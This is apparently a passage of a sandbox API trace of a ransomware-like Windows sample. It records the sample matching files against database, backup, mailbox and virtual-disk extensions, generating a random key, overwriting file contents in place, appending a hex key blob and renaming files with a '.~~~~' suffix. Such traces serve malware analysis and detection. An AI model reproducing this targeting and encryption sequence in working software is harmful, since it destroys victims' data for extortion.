	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".BDB") returned 0x0
	[0078.972] lstrlenW (lpString=".eql") returned 4
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".eql") returned 0x0
	[0078.972] lstrlenW (lpString=".DBF") returned 4
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DBF") returned 0x0
	[0078.972] lstrlenW (lpString=".EQL") returned 4
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".EQL") returned 0x0
	[0078.972] lstrlenW (lpString=".FDB") returned 4
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".FDB") returned 0x0
	[0078.972] lstrlenW (lpString=".EDB") returned 4
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".EDB") returned 0x0
	[0078.972] lstrlenW (lpString=".DACPAC") returned 7
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0078.972] lstrlenW (lpString=".VHD") returned 4
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".VHD") returned 0x0
	[0078.972] lstrlenW (lpString=".DBV") returned 4
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DBV") returned 0x0
	[0078.972] lstrlenW (lpString=".dacpac") returned 7
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0078.972] lstrlenW (lpString=".sdf") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".sdf") returned 0x0
	[0078.973] lstrlenW (lpString=".accdb") returned 6
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".accdb") returned 0x0
	[0078.973] lstrlenW (lpString=".DBX") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DBX") returned 0x0
	[0078.973] lstrlenW (lpString=".MDT") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".MDT") returned 0x0
	[0078.973] lstrlenW (lpString=".SQB") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".SQB") returned 0x0
	[0078.973] lstrlenW (lpString=".vhd") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".vhd") returned 0x0
	[0078.973] lstrlenW (lpString=".bac") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".bac") returned 0x0
	[0078.973] lstrlenW (lpString=".mdf") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".mdf") returned 0x0
	[0078.973] lstrlenW (lpString=".BAK") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".BAK") returned 0x0
	[0078.973] lstrlenW (lpString=".BAC") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".BAC") returned 0x0
	[0078.973] lstrlenW (lpString=".dbs") returned 4
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".dbs") returned 0x0
	[0078.973] lstrlenW (lpString=".vhdx") returned 5
	[0078.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0078.974] lstrlenW (lpString=".NDF") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".NDF") returned 0x0
	[0078.974] lstrlenW (lpString=".dat") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".dat") returned 0x0
	[0078.974] lstrlenW (lpString=".DBS") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DBS") returned 0x0
	[0078.974] lstrlenW (lpString=".CKP") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".CKP") returned 0x0
	[0078.974] lstrlenW (lpString=".edb") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".edb") returned 0x0
	[0078.974] lstrlenW (lpString=".PST") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".PST") returned 0x0
	[0078.974] lstrlenW (lpString=".dbf") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".dbf") returned 0x0
	[0078.974] lstrlenW (lpString=".SQL") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".SQL") returned 0x0
	[0078.974] lstrlenW (lpString=".pst") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".pst") returned 0x0
	[0078.974] lstrlenW (lpString=".dbv") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".dbv") returned 0x0
	[0078.974] lstrlenW (lpString=".SDF") returned 4
	[0078.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".SDF") returned 0x0
	[0078.975] lstrlenW (lpString=".dtxs") returned 5
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0078.975] lstrlenW (lpString=".db3") returned 4
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".db3") returned 0x0
	[0078.975] lstrlenW (lpString=".OST") returned 4
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".OST") returned 0x0
	[0078.975] lstrlenW (lpString=".dbx") returned 4
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".dbx") returned 0x0
	[0078.975] lstrlenW (lpString=".DB3") returned 4
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DB3") returned 0x0
	[0078.975] lstrlenW (lpString=".DAT") returned 4
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DAT") returned 0x0
	[0078.975] lstrlenW (lpString=".VHDX") returned 5
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0078.975] lstrlenW (lpString=".ndf") returned 4
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".ndf") returned 0x0
	[0078.975] lstrlenW (lpString=".DB") returned 3
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DB") returned 0x0
	[0078.975] lstrlenW (lpString=".sql") returned 4
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".sql") returned 0x0
	[0078.975] lstrlenW (lpString=".MYD") returned 4
	[0078.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".MYD") returned 0x0
	[0078.975] lstrlenW (lpString=".DBT") returned 4
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DBT") returned 0x0
	[0078.976] lstrlenW (lpString=".ACCDB") returned 6
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0078.976] lstrlenW (lpString=".fdb") returned 4
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".fdb") returned 0x0
	[0078.976] lstrlenW (lpString=".bak") returned 4
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".bak") returned 0x0
	[0078.976] lstrlenW (lpString=".myd") returned 4
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".myd") returned 0x0
	[0078.976] lstrlenW (lpString=".DTXS") returned 5
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0078.976] lstrlenW (lpString=".ckp") returned 4
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".ckp") returned 0x0
	[0078.976] lstrlenW (lpString=".dbt") returned 4
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".dbt") returned 0x0
	[0078.976] lstrlenW (lpString=".db") returned 3
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".db") returned 0x0
	[0078.976] lstrlenW (lpString=".TXT") returned 4
	[0078.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".TXT") returned 0x0
	[0078.976] lstrlenW (lpString=".MDF") returned 4
	[0078.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".MDF") returned 0x0
	[0078.977] lstrlenW (lpString=".bdb") returned 4
	[0078.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".bdb") returned 0x0
	[0078.977] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0078.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.977] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0078.978] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.978] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0078.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0078.978] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19896822248) returned 1
	[0078.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x98f2b150, dwHighDateTime=0x1d60e1e)) 
	[0078.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0078.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0078.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0078.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b330
	[0078.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b330 | out: hHeap=0x300000) returned 1
	[0078.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6aa8
	[0078.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6aa8 | out: hHeap=0x300000) returned 1
	[0078.979] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0078.979] GetLastError () returned 0x0
	[0078.979] GetLastError () returned 0x0
	[0078.979] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0078.979] GetLastError () returned 0x0
	[0078.979] GetLastError () returned 0x0
	[0078.980] ReadFile (in: hFile=0x134, lpBuffer=0x2856fe8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.985] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.985] WriteFile (in: hFile=0x134, lpBuffer=0x2856fe8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2856fe8 | out: hHeap=0x300000) returned 1
	[0078.986] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.986] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.986] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.986] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.986] CloseHandle (hObject=0x134) returned 1
	[0078.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.987] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.~~~~")) returned 1
	[0078.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0078.988] GetLastError () returned 0x0
	[0078.988] RtlWakeConditionVariable () returned 0x365f70
	[0078.988] GetCurrentThreadId () returned 0x9f4
	[0078.988] GetCurrentThreadId () returned 0x9f4
	[0078.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f63b8 | out: hHeap=0x300000) returned 1
	[0078.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b368 | out: hHeap=0x300000) returned 1
	[0078.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f63b8
	[0078.988] lstrlenW (lpString=".scr") returned 4
	[0078.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0078.989] lstrlenW (lpString=".cmd") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0078.989] lstrlenW (lpString=".dll") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0078.989] lstrlenW (lpString=".bat") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0078.989] lstrlenW (lpString=".cpl") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0078.989] lstrlenW (lpString=".sys") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0078.989] lstrlenW (lpString=".msc") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0078.989] lstrlenW (lpString=".com") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0078.989] lstrlenW (lpString=".lnk") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0078.989] lstrlenW (lpString=".msp") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0078.989] lstrlenW (lpString=".pif") returned 4
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0078.989] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0078.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0078.990] lstrlenW (lpString=".sqb") returned 4
	[0078.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0078.990] lstrlenW (lpString=".ost") returned 4
	[0078.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0078.990] lstrlenW (lpString=".txt") returned 4
	[0078.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0078.990] lstrlenW (lpString=".mdt") returned 4
	[0078.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0078.991] lstrlenW (lpString=".BDB") returned 4
	[0078.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0078.991] lstrlenW (lpString=".eql") returned 4
	[0078.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0078.991] lstrlenW (lpString=".DBF") returned 4
	[0078.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0078.991] lstrlenW (lpString=".EQL") returned 4
	[0078.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0078.991] lstrlenW (lpString=".FDB") returned 4
	[0078.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0078.991] lstrlenW (lpString=".EDB") returned 4
	[0078.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0078.991] lstrlenW (lpString=".DACPAC") returned 7
	[0078.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0078.991] lstrlenW (lpString=".VHD") returned 4
	[0078.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0078.991] lstrlenW (lpString=".DBV") returned 4
	[0078.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0078.992] lstrlenW (lpString=".dacpac") returned 7
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0078.992] lstrlenW (lpString=".sdf") returned 4
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0078.992] lstrlenW (lpString=".accdb") returned 6
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0078.992] lstrlenW (lpString=".DBX") returned 4
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0078.992] lstrlenW (lpString=".MDT") returned 4
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0078.992] lstrlenW (lpString=".SQB") returned 4
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0078.992] lstrlenW (lpString=".vhd") returned 4
